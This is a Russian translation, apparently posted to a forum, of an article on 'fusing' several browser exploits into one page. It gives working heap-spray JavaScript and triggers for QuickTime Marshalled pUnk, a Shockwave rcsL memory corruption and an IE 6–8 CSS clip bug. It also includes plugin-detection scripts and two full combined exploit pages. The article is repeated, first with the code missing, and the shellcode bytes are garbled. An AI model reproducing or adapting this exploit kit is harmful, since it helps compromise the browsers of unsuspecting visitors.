Предисловие: перевод несколько вольный, к тому же я не имею досконального знакомства с темой и что-то мог перевести неправильно; в частности, я не был уверен, как переводить термин "heap spray". Если вы заметите явные неточности - отпишитесь.
Сплавка эксплойтов - составное использование
Исследовательская команда: Legion Of XTRemers, Индия
Особый привет SECFENCE TEAM и GARAGE 4 HACKERS
Сложно с чем-то сравнить значимость шанса "пробить" конкретную жертву. И хакер никогда не упустит такой шанс. В таких случаях, обычные способы зачастую не срабатывают. Но почему? Обычно стараются "пробить" всё, что можно, и сцепляют несколько эксплойтов для увеличения шансов выполнения удалённого кода. Но в некоторых случаях нельзя предугалать, какие уязвимые продукты используются на целевой машине. Случаи, требующие конкретного эксплойта требует дополнительных ресурсов, и 1 несработавший эксплойт может запороть всё дело. Такая ситуация обычно встречается с эксплойтами типа heap spray ("хип спрей", "спрей кучи" или "распыление кучи" - прим. переводчика). Хотя есть несколько других, к которым это применимо.
В этой статье будет обсуждено слияние эксплойтов типа хип спрей таким образом, чтобы они исполнялись под "одной крышей" (делили ресурсы). Некоторые уязвимости, запускаемые через JS и не нуждающиеся в дополнительных плагинах или ActiveX компонентах, наиболее просты для последовательного запуска. Но в случае сплавленных эксплойтов, использующих ActiveX или плагины, нужно решить несколько проблем перед использованием уязвимости.
В этой статье я собираюсь сплавить эксплойт Apple QuickTime Marshalled pUnk и зеродей Adobe-а.
Код Apple QuickTime Marshalled pUnk
И использование уязвимости rcsL chunk memory corruption для Shockwave Player:
Прим.: Уязвимости Shockwave нужен файл exploit.DIR, поставляемый с оригинальным эксплойтом. Качайте с
http://www.exploit-db.com/exploits/15296/
И следующий хип спрей код будет использован для этих уязвимостей:
В случае сплавки запуска нескольких уязвимостей снжается фактор гонки между ними, и если первый запуск проходит и эксплойт запускается, то браузер обычно не запускает остальные, потому что в большинстве случаев процесс браузера приостанавливается. Фактор гонки снижается.
Обычно, псевдоструктура сплавленного эксплойта выглядит так:
Это сработает, если 1-ая уязвимость правильно запустится, но провалится, если объект, относящийся к ней, отсутствует, в этом случае будет запущен сборщик мусора и весь спрей испарится до запуска 2-ой уязвимости. Эта ситуация нежеланна и помешает 2-му эксплойту, даже если он сам по себе способен "пробить" уязвимость.
Для решения этой проблемы пред запуском нужно уюедиться, что соответствующий компонент присутствет в целевом браузере.
Так что теперь предложенная выше псевдоструктура должна выглядеть так:
Но как узнать, присутствует ли нужный компонент? HTML - язык, не поддерживающий состояния объектов и не поможет в получении информации о присутствии конкретного компонента в большинстве случаев. Чтобы обойти это препятствие, нужно сделать проверку вызовом компонента перед спреем и проверить дефолтные значения его параметров. В других случаях проверку можно сделать правильным вызовом компонента, передачей чего-либо на обработку и проверкой вывода
Иногда скрипты могут сказать, присутсвует ли конкретный компонент. В случае Adobe Shockwave можно проверить, например, значение src shockwave компонента; если он установлен, то значение будет "", если не задано, если не установлен - "undefined"; это можно проверить, используя следующий код:
Тогда как приведённый выше способ не сработает со свойствами Apple QuickTime. Но следующий скрипт может обнаружить Apple QuickTime, он приведён на их форуме:
Можно использовать эти скриптлеты, чтобы решить, какие уязвимости должны быть использованы.
Соединив эти способы, можно создать сплавленный эксплойт:
--------------------
Распыляя лишний спрей: в некоторых случаях разные эксплойты могут потребовать разное количество хип спреев. Наилучший результат может быть достигнут только если уязвимости с низким спреем срабатывают первыми, в возрастающем порядке количества требуемого спрея. Например, новый зеродей IE, требующий высокого спрея кучи, тоже может быть сплавлен с приведённым набором эксплойтов.
Далее использование новой уязвимости для IE 6, 7, 8:
Но он требует большего спрея, так что можно распылить ещё немного перед запуском. Следующий код даст достаточно спрея для упешного запуска:
И код, который нужно внедрить в приведённый выше набор:
Теперь набор сплавленных эксплойтов, после добавления эксплойта для IE:
Источник: http://packetstormsecurity.org/files/97163...ploitation.html
Сплавка эксплойтов - составное использование
Исследовательская команда: Legion Of XTRemers, Индия
Особый привет SECFENCE TEAM и GARAGE 4 HACKERS
Сложно с чем-то сравнить значимость шанса "пробить" конкретную жертву. И хакер никогда не упустит такой шанс. В таких случаях, обычные способы зачастую не срабатывают. Но почему? Обычно стараются "пробить" всё, что можно, и сцепляют несколько эксплойтов для увеличения шансов выполнения удалённого кода. Но в некоторых случаях нельзя предугалать, какие уязвимые продукты используются на целевой машине. Случаи, требующие конкретного эксплойта требует дополнительных ресурсов, и 1 несработавший эксплойт может запороть всё дело. Такая ситуация обычно встречается с эксплойтами типа heap spray ("хип спрей", "спрей кучи" или "распыление кучи" - прим. переводчика). Хотя есть несколько других, к которым это применимо.
В этой статье будет обсуждено слияние эксплойтов типа хип спрей таким образом, чтобы они исполнялись под "одной крышей" (делили ресурсы). Некоторые уязвимости, запускаемые через JS и не нуждающиеся в дополнительных плагинах или ActiveX компонентах, наиболее просты для последовательного запуска. Но в случае сплавленных эксплойтов, использующих ActiveX или плагины, нужно решить несколько проблем перед использованием уязвимости.
В этой статье я собираюсь сплавить эксплойт Apple QuickTime Marshalled pUnk и зеродей Adobe-а.
Код Apple QuickTime Marshalled pUnk
Код:
<script language=javascript>
addr = 354552864; // 0x15220C20 [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
document.write(obj);
</script>
И использование уязвимости rcsL chunk memory corruption для Shockwave Player:
Код:
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=shockit width=600 height=430 VIEWASTEXT>
<param name=src value="exploit.DIR">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=fill>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' " swStretchStyle=fill
type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>
</object>
Прим.: Уязвимости Shockwave нужен файл exploit.DIR, поставляемый с оригинальным эксплойтом. Качайте с
http://www.exploit-db.com/exploits/15296/
И следующий хип спрей код будет использован для этих уязвимостей:
Код:
<script language=javascript>
/*---------- Heap-Spray Circuit ------------*/
var shellcode=unescape('Javascript Unicode Shellcode');
block=unescape("%u0c0c?");
headersize=20;
space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<40000) {
blk=blk+blk+suffixBlock;
}
arrBuffer=new Array();
for(var i=0;i<800;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
В случае сплавки запуска нескольких уязвимостей снжается фактор гонки между ними, и если первый запуск проходит и эксплойт запускается, то браузер обычно не запускает остальные, потому что в большинстве случаев процесс браузера приостанавливается. Фактор гонки снижается.
Обычно, псевдоструктура сплавленного эксплойта выглядит так:
Код:
[Хип спрей]
[запуск 1-ой уязвимости]
[запуск 2-ой уязвимости]
Это сработает, если 1-ая уязвимость правильно запустится, но провалится, если объект, относящийся к ней, отсутствует, в этом случае будет запущен сборщик мусора и весь спрей испарится до запуска 2-ой уязвимости. Эта ситуация нежеланна и помешает 2-му эксплойту, даже если он сам по себе способен "пробить" уязвимость.
Для решения этой проблемы пред запуском нужно уюедиться, что соответствующий компонент присутствет в целевом браузере.
Так что теперь предложенная выше псевдоструктура должна выглядеть так:
Код:
переменная go1 = false
переменная go2 = false
if : [1-ый компонент присутствует] -->go1 = true
else if [2-ой компонент присутствует] -->go2 = true
[Хип спрей]
if [go1 == true] --> [запуск 1-ой уязвимости]
else if[go2 == true] --> [запуск 2-ой уязвимости]
Но как узнать, присутствует ли нужный компонент? HTML - язык, не поддерживающий состояния объектов и не поможет в получении информации о присутствии конкретного компонента в большинстве случаев. Чтобы обойти это препятствие, нужно сделать проверку вызовом компонента перед спреем и проверить дефолтные значения его параметров. В других случаях проверку можно сделать правильным вызовом компонента, передачей чего-либо на обработку и проверкой вывода
Иногда скрипты могут сказать, присутсвует ли конкретный компонент. В случае Adobe Shockwave можно проверить, например, значение src shockwave компонента; если он установлен, то значение будет "", если не задано, если не установлен - "undefined"; это можно проверить, используя следующий код:
Код:
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
document.write("shockex.src : "+shockex.src);
</script>
Тогда как приведённый выше способ не сработает со свойствами Apple QuickTime. Но следующий скрипт может обнаружить Apple QuickTime, он приведён на их форуме:
Код:
<script>
var qcheck = false;
</script>
<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script>
document.write("
quicktime : "+qcheck);
</script>
Можно использовать эти скриптлеты, чтобы решить, какие уязвимости должны быть использованы.
Соединив эти способы, можно создать сплавленный эксплойт:
Код:
<!---Fusion Exploit --->
<!---*** Limit on vulnerability triggers : No Limit
Developer : "vinnu"
***--->
<html>
<head><title>Fusion Exploit POC </title></head>
<body>
<script>
var qcheck = false;
var scheck = false;
</script>
<!--------- Component detection circuit --------->
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
if (a.src=="")scheck=true;
</script>
<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script language=javascript>
document.write("
quicktime : "+qcheck);
document.write("
shockex.src : "+shockex.src);
document.write("
Shockwave : "+scheck);
</script>
<!--------- Component detection circuit end --------->
<script language=javascript>
/*------ 1st vulnerable component --------*/
addr = 202116108;// 0x0C0C0C0C [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
/*------ 1st vulnerable component end --------*/
/*------ 2nd vulnerable component --------*/
sobj = '<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"'
+ '\n codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"'
+ '\n ID=shockit width=600 height=430 VIEWASTEXT>'
+ '\n<param name=src value="exploit.DIR">'
+ '\n<param name=swRemote value="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' ">'
+ '\n<param name=swStretchStyle value=fill>'
+ '\n<param name=PlayerVersion value=11>'
+ '\n<PARAM NAME=bgColor VALUE=#FFFFFF> '
+ '\n<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' " swStretchStyle=fill'
+ '\n type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>'
+ '\n</object>';
/*------ 2nd vulnerable component end --------*/
</script>
<script>
/*---------- Heap-Spray Circuit ------------*/
/*--- executes calc.exe shellcode ---*/
var i = 0,alimit = 800,slimit = 0x40000, uagent = navigator.userAgent;
var arrBuffer=new Array();
if(uagent.indexOf("MSIE 6.0")>=0) {
alimit = 500;
slimit = 0x24000;
}
var shellcode=unescape('???????????"?????????????????? ??????????п?????????????????????????????????????? ????????????????????????????????????');
block=unescape("??");
headersize=20;space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<slimit) {
blk=blk+blk+suffixBlock;
}
for(i=0;i<alimit;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
<script>
/*---------vulnerability trigger circuit--------------*/
if (qcheck == true)document.write(obj); /*---- 1st vulnerability trigger ----*/
else if (scheck == true)document.write(sobj); /*---- 2nd vulnerability trigger ----*/
/*-------vulnerability trigger circuit end------------*/
</script>
</body>
</html>
</--- Fusion Exploit End --->
--------------------
Распыляя лишний спрей: в некоторых случаях разные эксплойты могут потребовать разное количество хип спреев. Наилучший результат может быть достигнут только если уязвимости с низким спреем срабатывают первыми, в возрастающем порядке количества требуемого спрея. Например, новый зеродей IE, требующий высокого спрея кучи, тоже может быть сплавлен с приведённым набором эксплойтов.
Далее использование новой уязвимости для IE 6, 7, 8:
Код:
document.write("<table style=position:absolute;clip:rect(0)>");
Но он требует большего спрея, так что можно распылить ещё немного перед запуском. Следующий код даст достаточно спрея для упешного запуска:
Код:
<script language=javascript>
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
</script>
И код, который нужно внедрить в приведённый выше набор:
Код:
<script language=javascript>
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
document.write("<table style=position:absolute;clip:rect(0)>");
</script>
Теперь набор сплавленных эксплойтов, после добавления эксплойта для IE:
Код:
<!---Fusion Exploit --->
<!---*** Limit on vulnerability triggers : No Limit
Developer : "vinnu"
***--->
<html>
<head><title>Fusion Exploit POC </title></head>
<body>
<script>
var qcheck = false;
var scheck = false;
</script>
<!--------- Component detection circuit --------->
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
if (a.src=="")scheck=true;
</script>
<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script language=javascript>
document.write("
quicktime : "+qcheck);
document.write("
shockex.src : "+shockex.src);
document.write("
Shockwave : "+scheck);
</script>
<!--------- Component detection circuit end --------->
<script language=javascript>
/*------ 1st vulnerable component --------*/
addr = 202116108;// 0x0C0C0C0C [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
/*------ 1st vulnerable component end --------*/
/*------ 2nd vulnerable component --------*/
sobj = '<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"'
+ '\n codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"'
+ '\n ID=shockit width=600 height=430 VIEWASTEXT>'
+ '\n<param name=src value="exploit.DIR">'
+ '\n<param name=swRemote value="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' ">'
+ '\n<param name=swStretchStyle value=fill>'
+ '\n<param name=PlayerVersion value=11>'
+ '\n<PARAM NAME=bgColor VALUE=#FFFFFF> '
+ '\n<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' " swStretchStyle=fill'
+ '\n type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>'
+ '\n</object>';
/*------ 2nd vulnerable component end --------*/
</script>
<script>
/*---------- Heap-Spray Circuit ------------*/
/*--- executes calc.exe shellcode ---*/
var i = 0,alimit = 800,slimit = 0x40000, uagent = navigator.userAgent;
var arrBuffer=new Array();
if(uagent.indexOf("MSIE 6.0")>=0) {
alimit = 500;
slimit = 0x24000;
}
var shellcode=unescape('%u9090??????????"????????????? ???????????????п????????????????????????????????? ?????????????????????????????????????????');
block=unescape("??");
headersize=20;space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<slimit) {
blk=blk+blk+suffixBlock;
}
for(i=0;i<alimit;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
<script>
/*---------vulnerability trigger circuit--------------*/
if (qcheck == true)document.write(obj); /*---- 1st vulnerability trigger ----*/
else if (scheck == true)document.write(sobj); /*---- 2nd vulnerability trigger ----*/
/*-------vulnerability trigger circuit end------------*/
</script>
<script>
/*------------IE exploit--------------*/
// Tested on IE 6, If will fail in higher,
// just increase a little the spray ammount.
// Doesnt need any component detection code
// as in quicktime or shockwave.
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
document.write("<table style=position:absolute;clip:rect(0)>");
/*------------IE exploit end----------*/
</script>
</body>
</html>
</--- Fusion Exploit End --->
Источник: http://packetstormsecurity.org/files/97163...ploitation.html